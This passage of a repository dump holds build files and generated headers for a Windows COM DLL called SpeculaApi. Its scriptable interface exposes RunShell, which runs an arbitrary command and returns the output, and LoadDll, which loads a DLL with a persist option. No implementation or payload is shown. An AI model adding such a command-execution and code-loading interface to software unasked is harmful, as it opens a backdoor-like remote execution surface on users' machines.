<ClInclude Include=\"SpeculaApi_i.h\" />\r\n    <ClInclude Include=\"targetver.h\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"dllmain.cpp\">\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</CompileAsManaged>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n      </PrecompiledHeader>\r\n    </ClCompile>\r\n    <ClCompile Include=\"pch.cpp\">\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">Create</PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">Create</PrecompiledHeader>\r\n    </ClCompile>\r\n    <ClCompile Include=\"Sepcula.cpp\" />\r\n    <ClCompile Include=\"SpeculaApi.cpp\" />\r\n    <ClCompile Include=\"SpeculaApi_i.c\">\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">false</CompileAsManaged>\r\n      <CompileAsManaged Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</CompileAsManaged>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n      </PrecompiledHeader>\r\n      <PrecompiledHeader Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n      </PrecompiledHeader>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ResourceCompile Include=\"SpeculaApi.rc\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <None Include=\"Sepcula.rgs\" />\r\n    <None Include=\"SpeculaApi.def\" />\r\n    <None Include=\"SpeculaApi.rgs\" />\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Midl Include=\"SpeculaApi.idl\" />\r\n  </ItemGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\r\n  <ImportGroup Label=\"ExtensionTargets\">\r\n  </ImportGroup>\r\n</Project>"
  },
  {
    "path": "api/SpeculaApi/SpeculaApi.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup>\r\n    <Filter Include=\"Source Files\">\r\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\r\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Header Files\">\r\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\r\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Resource Files\">\r\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\r\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\r\n    </Filter>\r\n    <Filter Include=\"Generated Files\">\r\n      <UniqueIdentifier>{53bbe418-42c7-4cd4-a4d9-3d1ca2106f6e}</UniqueIdentifier>\r\n      <SourceControlFiles>False</SourceControlFiles>\r\n    </Filter>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClInclude Include=\"framework.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"targetver.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"Resource.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"dllmain.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"SpeculaApi_i.h\">\r\n      <Filter>Generated Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"pch.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n    <ClInclude Include=\"Sepcula.h\">\r\n      <Filter>Header Files</Filter>\r\n    </ClInclude>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ClCompile Include=\"SpeculaApi.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"dllmain.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"SpeculaApi_i.c\">\r\n      <Filter>Generated Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"pch.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n    <ClCompile Include=\"Sepcula.cpp\">\r\n      <Filter>Source Files</Filter>\r\n    </ClCompile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <ResourceCompile Include=\"SpeculaApi.rc\">\r\n      <Filter>Resource Files</Filter>\r\n    </ResourceCompile>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <None Include=\"SpeculaApi.rgs\">\r\n      <Filter>Resource Files</Filter>\r\n    </None>\r\n    <None Include=\"SpeculaApi.def\">\r\n      <Filter>Source Files</Filter>\r\n    </None>\r\n    <None Include=\"Sepcula.rgs\">\r\n      <Filter>Resource Files</Filter>\r\n    </None>\r\n  </ItemGroup>\r\n  <ItemGroup>\r\n    <Midl Include=\"SpeculaApi.idl\">\r\n      <Filter>Source Files</Filter>\r\n    </Midl>\r\n  </ItemGroup>\r\n</Project>"
  },
  {
    "path": "api/SpeculaApi/SpeculaApi_i.h",
    "content": "\r\n\r\n/* this ALWAYS GENERATED file contains the definitions for the interfaces */\r\n\r\n\r\n /* File created by MIDL compiler version 8.01.0628 */\r\n/* at Mon Jan 18 21:14:07 2038\r\n */\r\n/* Compiler settings for SpeculaApi.idl:\r\n    Oicf, W1, Zp8, env=Win32 (32b run), target_arch=X86 8.01.0628 \r\n    protocol : dce , ms_ext, c_ext, robust\r\n    error checks: allocation ref bounds_check enum stub_data \r\n    VC __declspec() decoration level: \r\n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\r\n         DECLSPEC_UUID(), MIDL_INTERFACE()\r\n*/\r\n/* @@MIDL_FILE_HEADING(  ) */\r\n\r\n\r\n\r\n/* verify that the <rpcndr.h> version is high enough to compile this file*/\r\n#ifndef __REQUIRED_RPCNDR_H_VERSION__\r\n#define __REQUIRED_RPCNDR_H_VERSION__ 500\r\n#endif\r\n\r\n#include \"rpc.h\"\r\n#include \"rpcndr.h\"\r\n\r\n#ifndef __RPCNDR_H_VERSION__\r\n#error this stub requires an updated version of <rpcndr.h>\r\n#endif /* __RPCNDR_H_VERSION__ */\r\n\r\n#ifndef COM_NO_WINDOWS_H\r\n#include \"windows.h\"\r\n#include \"ole2.h\"\r\n#endif /*COM_NO_WINDOWS_H*/\r\n\r\n#ifndef __SpeculaApi_i_h__\r\n#define __SpeculaApi_i_h__\r\n\r\n#if defined(_MSC_VER) && (_MSC_VER >= 1020)\r\n#pragma once\r\n#endif\r\n\r\n#ifndef DECLSPEC_XFGVIRT\r\n#if defined(_CONTROL_FLOW_GUARD_XFG)\r\n#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func))\r\n#else\r\n#define DECLSPEC_XFGVIRT(base, func)\r\n#endif\r\n#endif\r\n\r\n/* Forward Declarations */ \r\n\r\n#ifndef __ISepcula_FWD_DEFINED__\r\n#define __ISepcula_FWD_DEFINED__\r\ntypedef interface ISepcula ISepcula;\r\n\r\n#endif \t/* __ISepcula_FWD_DEFINED__ */\r\n\r\n\r\n#ifndef __Sepcula_FWD_DEFINED__\r\n#define __Sepcula_FWD_DEFINED__\r\n\r\n#ifdef __cplusplus\r\ntypedef class Sepcula Sepcula;\r\n#else\r\ntypedef struct Sepcula Sepcula;\r\n#endif /* __cplusplus */\r\n\r\n#endif \t/* __Sepcula_FWD_DEFINED__ */\r\n\r\n\r\n/* header files for imported files */\r\n#include \"oaidl.h\"\r\n#include \"ocidl.h\"\r\n#include \"shobjidl.h\"\r\n\r\n#ifdef __cplusplus\r\nextern \"C\"{\r\n#endif \r\n\r\n\r\n#ifndef __ISepcula_INTERFACE_DEFINED__\r\n#define __ISepcula_INTERFACE_DEFINED__\r\n\r\n/* interface ISepcula */\r\n/* [unique][nonextensible][dual][uuid][object] */ \r\n\r\n\r\nEXTERN_C const IID IID_ISepcula;\r\n\r\n#if defined(__cplusplus) && !defined(CINTERFACE)\r\n    \r\n    MIDL_INTERFACE(\"b0f5f947-8064-48f7-a623-5c058dc91cc8\")\r\n    ISepcula : public IDispatch\r\n    {\r\n    public:\r\n        virtual /* [id] */ HRESULT STDMETHODCALLTYPE RunShell( \r\n            /* [in] */ BSTR cmd,\r\n            /* [optional][in] */ VARIANT timeout,\r\n            /* [retval][out] */ BSTR *result) = 0;\r\n        \r\n        virtual /* [id] */ HRESULT STDMETHODCALLTYPE LoadDll( \r\n            /* [in] */ BSTR path,\r\n            /* [in] */ boolean persist,\r\n            /* [retval][out] */ boolean *status) = 0;\r\n        \r\n    };\r\n    \r\n    \r\n#else \t/* C style interface */\r\n\r\n    typedef struct ISepculaVtbl\r\n    {\r\n        BEGIN_INTERFACE\r\n        \r\n        DECLSPEC_XFGVIRT(IUnknown, QueryInterface)\r\n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \r\n            ISepcula * This,\r\n            /* [in] */ REFIID riid,\r\n            /* [annotation][iid_is][out] */ \r\n            _COM_Outptr_  void **ppvObject);\r\n        \r\n        DECLSPEC_XFGVIRT(IUnknown, AddRef)\r\n        ULONG ( STDMETHODCALLTYPE *AddRef )( \r\n            ISepcula * This);\r\n        \r\n        DECLSPEC_XFGVIRT(IUnknown, Release)\r\n        ULONG ( STDMETHODCALLTYPE *Release )( \r\n            ISepcula * This);\r\n        \r\n        DECLSPEC_XFGVIRT(IDispatch, GetTypeInfoCount)\r\n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \r\n            ISepcula * This,\r\n            /* [out] */ UINT *pctinfo);\r\n        \r\n        DECLSPEC_XFGVIRT(IDispatch, GetTypeInfo)\r\n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \r\n            ISepcula * This,\r\n            /* [in] */ UINT iTInfo,\r\n            /* [in] */ LCID lcid,\r\n            /* [out] */ ITypeInfo **ppTInfo);\r\n        \r\n        DECLSPEC_XFGVIRT(IDispatch, GetIDsOfNames)\r\n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \r\n            ISepcula * This,\r\n            /* [in] */ REFIID riid,\r\n            /* [size_is][in] */ LPOLESTR *rgszNames,\r\n            /* [range][in] */ UINT cNames,\r\n            /* [in] */ LCID lcid,\r\n            /* [size_is][out] */ DISPID *rgDispId);\r\n        \r\n        DECLSPEC_XFGVIRT(IDispatch, Invoke)\r\n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \r\n            ISepcula * This,\r\n            /* [annotation][in] */ \r\n            _In_  DISPID dispIdMember,\r\n            /* [annotation][in] */ \r\n            _In_  REFIID riid,\r\n            /* [annotation][in] */ \r\n            _In_  LCID lcid,\r\n            /* [annotation][in] */ \r\n            _In_  WORD wFlags,\r\n            /* [annotation][out][in] */ \r\n            _In_  DISPPARAMS *pDispParams,\r\n            /* [annotation][out] */ \r\n            _Out_opt_  VARIANT *pVarResult,\r\n            /* [annotation][out] */ \r\n            _Out_opt_  EXCEPINFO *pExcepInfo,\r\n            /* [annotation][out] */ \r\n            _Out_opt_  UINT *puArgErr);\r\n        \r\n        DECLSPEC_XFGVIRT(ISepcula, RunShell)\r\n        /* [id] */ HRESULT ( STDMETHODCALLTYPE *RunShell )( \r\n            ISepcula * This,\r\n            /* [in] */ BSTR cmd,\r\n            /* [optional][in] */ VARIANT timeout,\r\n            /* [retval][out] */ BSTR *result);\r\n        \r\n        DECLSPEC_XFGVIRT(ISepcula, LoadDll)\r\n        /* [id] */ HRESULT ( STDMETHODCALLTYPE *LoadDll )( \r\n            ISepcula * This,\r\n            /* [in] */ BSTR path,\r\n            /* [in] */ boolean persist,\r\n            /* [retval][out] */ boolean *status);\r\n        \r\n        END_INTERFACE\r\n    } ISepculaVtbl;\r\n\r\n    interface ISepcula\r\n    {\r\n        CONST_VTBL struct ISepculaVtbl *lpVtbl;\r\n    };\r\n\r\n    \r\n\r\n#ifdef COBJMACROS\r\n\r\n\r\n#define ISepcula_QueryInterface(This,riid,ppvObject)\t\\\r\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \r\n\r\n#define ISepcula_AddRef(This)\t\\\r\n    ( (This)->lpVtbl -> AddRef(This) ) \r\n\r\n#define ISepcula_Release(This)\t\\\r\n    ( (This)->lpVtbl -> Release(This) ) \r\n\r\n\r\n#define ISepcula_GetTypeInfoCount(This,pctinfo)\t\\\r\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \r\n\r\n#define ISepcula_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\r\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \r\n\r\n#define ISepcula_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\r\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \r\n\r\n#define ISepcula_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\r\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \r\n\r\n\r\n#define ISepcula_RunShell(This,cmd,timeout,result)\t\\\r\n    ( (This)->lpVtbl -> RunShell(This,cmd,timeout,result) ) \r\n\r\n#define ISepcula_LoadDll(This,path,persist,status)\t\\\r\n    ( (This)->lpVtbl -> LoadDll(This,path,persist,status) ) \r\n\r\n#endif /* COBJMACROS */\r\n\r\n\r\n#endif \t/* C style interface */\r\n\r\n\r\n\r\n\r\n#endif \t/* __ISepcula_INTERFACE_DEFINED__ */\r\n\r\n\r\n\r\n#ifndef __SpeculaApiLib_LIBRARY_DEFINED__\r\n#define __SpeculaApiLib_LIBRARY_DEFINED__\r\n\r\n/* library SpeculaApiLib */\r\n/* [version][uuid] */ \r\n\r\n\r\nEXTERN_C const IID LIBID_SpeculaApiLib;\r\n\r\nEXTERN_C const CLSID CLSID_Sepcula;\r\n\r\n#ifdef __cplusplus\r\n\r\nclass DECLSPEC_UUID(\"e8b55279-c6b4-48f3-8138-b727337c0236\")\r\nSepcula;\r\n#endif\r\n#endif /* __SpeculaApiLib_LIBRARY_DEFINED__ */\r\n\r\n/* Additional Prototypes for ALL interfaces */\r\n\r\nunsigned long             __RPC_USER  BSTR_UserSize(     unsigned long *, unsigned long            , BSTR * ); \r\nunsigned char * __RPC_USER  BSTR_UserMarshal(  unsigned long *, unsigned char *, BSTR * ); \r\nunsigned char * __RPC_USER  BSTR_UserUnmarshal(unsigned long *, unsigned char *, BSTR * ); \r\nvoid                      __RPC_USER  BSTR_UserFree(     unsigned long *, BSTR * ); \r\n\r\nunsigned long             __RPC_USER  VARIANT_UserSize(     unsigned long *, unsigned long            , VARIANT * ); \r\nunsigned char * __RPC_USER  VARIANT_UserMarshal(  unsigned long *, unsigned char *, VARIANT * ); \r\nunsigned char * __RPC_USER  VARIANT_UserUnmarshal(unsigned long *, unsigned char *, VARIANT * ); \r\nvoid                      __RPC_USER  VARIANT_UserFree(     unsigned long *, VARIANT * ); \r\n\r\nunsigned long             __RPC_USER  BSTR_UserSize64(     unsigned long *, unsigned long            , BSTR * ); \r\nunsigned char * __RPC_USER  BSTR_UserMarshal64(  unsigned long *, unsigned char *, BSTR * ); \r\nunsigned char * __RPC_USER  BSTR_UserUnmarshal64(unsigned long *, unsigned char *, BSTR * ); \r\nvoid                      __RPC_USER  BSTR_UserFree64(     unsigned long *, BSTR * ); \r\n\r\nunsigned long             __RPC_USER  VARIANT_UserSize64(     unsigned long *, unsigned long            , VARIANT * ); \r\nunsigned char * __RPC_USER  VARIANT_UserMarshal64(  unsigned long *, unsigned char *, VARIANT * ); \r\nunsigned char * __RPC_USER  VARIANT_UserUnmarshal64(unsigned long *, unsigned char *, VARIANT * ); \r\nvoid                      __RPC_USER  VARIANT_UserFree64(     unsigned long *, VARIANT * ); \r\n\r\n/* end of Additional Prototypes */\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n#endif\r\n\r\n\r\n"
  },
  {
    "path": "api/SpeculaApi/SpeculaApips.def",
    "content": "\r\nLIBRARY\r\n\r\nEXPORTS\r\n\tDllGetClassObject\t\tPRIVATE\r\n\tDllCanUnloadNow\t\t\tPRIVATE\r\n\tDllRegisterServer\t\tPRIVATE\r\n\tDllUnregisterServer\t\tPRIVATE\r\n"
  },
  {
    "path": "api/SpeculaApi/dllmain.cpp",
    "content": "// dllmain.cpp : Implementation of DllMain.\r\n\r\n#include \"pch.h\"\r\n#include \"framework.h\"\r\n#include \"resource.h\"\r\n#include \"SpeculaApi_i.h\"\r\n#include \"dllmain.h\"\r\n\r\nCSpeculaApiModule _AtlModule;\r\n\r\n// DLL Entry Point\r\nextern \"C\" BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)\r\n{\r\n\thInstance;\r\n\treturn _AtlModule.DllMain(dwReason, lpReserved);\r\n}\r\n"
  },
  {
    "path": "api/SpeculaApi/dllmain.h",
    "content": "// dllmain.h : Declaration of module class.\r\n\r\nclass CSpeculaApiModule : public ATL::CAtlDllModuleT< CSpeculaApiModule >\r\n{\r\npublic :\r\n\tDECLARE_LIBID(LIBID_SpeculaApiLib)\r\n\tDECLARE_REGISTRY_APPID_RESOURCEID(IDR_SPECULAAPI, \"{5be8ef76-6253-482a-926e-d1d877de3b63}\")\r\n};\r\n\r\nextern class CSpeculaApiModule _AtlModule;\r\n"
  },
  {
    "path": "api/SpeculaApi/framework.h",
    "content": "#pragma once\r\n\r\n#ifndef STRICT\r\n#define STRICT\r\n#endif\r\n\r\n#include \"targetver.h\"\r\n\r\n#define _ATL_APARTMENT_THREADED\r\n\r\n#define _ATL_NO_AUTOMATIC_NAMESPACE\r\n\r\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS\t// some CString constructors will be explicit\r\n\r\n\r\n#define ATL_NO_ASSERT_ON_DESTROY_NONEXISTENT_WINDOW\r\n\r\n#include \"resource.h\"\r\n#include <atlbase.h>\r\n#include <atlcom.h>\r\n#include <atlctl.h>\r\n"
  },
  {
    "path": "api/SpeculaApi/pch.cpp",
    "content": "// pch.cpp: source file corresponding to the pre-compiled header\r\n\r\n#include \"pch.h\"\r\n\r\n// When you are using pre-compiled headers, this source file is necessary for compilation to succeed.\r\n"
  },
  {
    "path": "api/SpeculaApi/pch.h",
    "content": "// pch.h: This is a precompiled header file.\r\n// Files listed below are compiled only once, improving build performance for future builds.\r\n// This also affects IntelliSense performance, including code completion and many code browsing features.\r\n// However, files listed here are ALL re-compiled if any one of them is updated between builds.\r\n// Do not add files here that you will be updating frequently as this negates the performance advantage.\r\n\r\n#ifndef PCH_H\r\n#define PCH_H\r\n\r\n// add headers that you want to pre-compile here\r\n#include \"framework.h\"\r\n\r\n#endif //PCH_H\r\n"
  },
  {
    "path": "api/SpeculaApi/resource.h",
    "content": "//{{NO_DEPENDENCIES}}\r\n// Microsoft Visual C++ generated include file.\r\n// Used by SpeculaApi.rc\r\n//\r\n#define IDS_PROJNAME                    100\r\n#define IDR_SPECULAAPI                  101\r\n#define IDR_SEPCULA                     106\r\n\r\n// Next default values for new objects\r\n// \r\n#ifdef APSTUDIO_INVOKED\r\n#ifndef APSTUDIO_READONLY_SYMBOLS\r\n#define _APS_NEXT_RESOURCE_VALUE        201\r\n#define _APS_NEXT_COMMAND_VALUE         32768\r\n#define _APS_NEXT_CONTROL_VALUE         201\r\n#define _APS_NEXT_SYMED_VALUE           107\r\n#endif\r\n#endif\r\n"
  },
  {
    "path": "api/SpeculaApi/targetver.h",
    "content": "#pragma once\r\n\r\n// Including SDKDDKVer.h defines the highest available Windows platform.\r\n\r\n// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and\r\n// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.\r\n\r\n#include <SDKDDKVer.h>\r\n"
  },
  {
    "path": "api/SpeculaApi.sln",
    "content": "﻿\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio Version 17\r\nVisualStudioVersion = 17.7.34202.233\r\nMinimumVisualStudioVersion = 10.0.40219.1\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"SpeculaApi\", \"SpeculaApi\\SpeculaApi.vcxproj\", \"{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}\"\r\nEndProject\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"SpeculaApiPS\", \"SpeculaApiPS\\SpeculaApiPS.vcxproj\", \"{B58767EE-5185-4E99-818F-6285332400E6}\"\r\n\tProjectSection(ProjectDependencies) = postProject\r\n\t\t{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB} = {AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}\r\n\tEndProjectSection\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tDebug|x64 = Debug|x64\r\n\t\tDebug|x86 = Debug|x86\r\n\t\tRelease|x64 = Release|x64\r\n\t\tRelease|x86 = Release|x86\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Debug|x64.Build.0 = Debug|x64\r\n\t\t{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Debug|x86.ActiveCfg = Debug|Win32\r\n\t\t{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Debug|x86.Build.0 = Debug|Win32\r\n\t\t{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Release|x64.Build.0 = Release|x64\r\n\t\t{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Release|x86.ActiveCfg = Release|Win32\r\n\t\t{AF2D318C-2C5A-4C9D-BE4C-AA5B3E8037DB}.Release|x86.Build.0 = Release|Win32\r\n\t\t{B58767EE-5185-4E99-818F-6285332400E6}.Debug|x64.ActiveCfg = Debug|x64\r\n\t\t{B58767EE-5185-4E99-818F-6285332400E6}.Debug|x86.ActiveCfg = Debug|Win32\r\n\t\t{B58767EE-5185-4E99-818F-6285332400E6}.Release|x64.ActiveCfg = Release|x64\r\n\t\t{B58767EE-5185-4E99-818F-6285332400E6}.Release|x86.ActiveCfg = Release|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\n\tGlobalSection(ExtensibilityGlobals) = postSolution\r\n\t\tSolutionGuid = {98C14C87-B4F7-4E1C-B61E-D945B7763368}\r\n\tEndGlobalSection\r\nEndGlobal\r\n"
  },
  {
    "path": "api/SpeculaApiPS/SpeculaApiPS.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\r\n  <ItemGroup Label=\"ProjectConfigurations\">\r\n    <ProjectConfiguration Include=\"Debug|Win32\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|Win32\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>Win32</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Debug|x64\">\r\n      <Configuration>Debug</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n    <ProjectConfiguration Include=\"Release|x64\">\r\n      <Configuration>Release</Configuration>\r\n      <Platform>x64</Platform>\r\n    </ProjectConfiguration>\r\n  </ItemGroup>\r\n  <PropertyGroup Label=\"Globals\">\r\n    <VCProjectVersion>17.0</VCProjectVersion>\r\n    <ProjectGuid>{B58767EE-5185-4E99-818F-6285332400E6}</ProjectGuid>\r\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\r\n    <Keyword>AtlPSProj</Keyword>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>true</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\r\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\r\n    <UseDebugLibraries>false</UseDebugLibraries>\r\n    <PlatformToolset>v143</PlatformToolset>\r\n    <CharacterSet>Unicode</CharacterSet>\r\n  </PropertyGroup>\r\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\r\n  <ImportGroup Label=\"ExtensionSettings\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"Shared\">\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\r\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\r\n  </ImportGroup>\r\n  <PropertyGroup Label=\"UserMacros\" />\r\n  <PropertyGroup 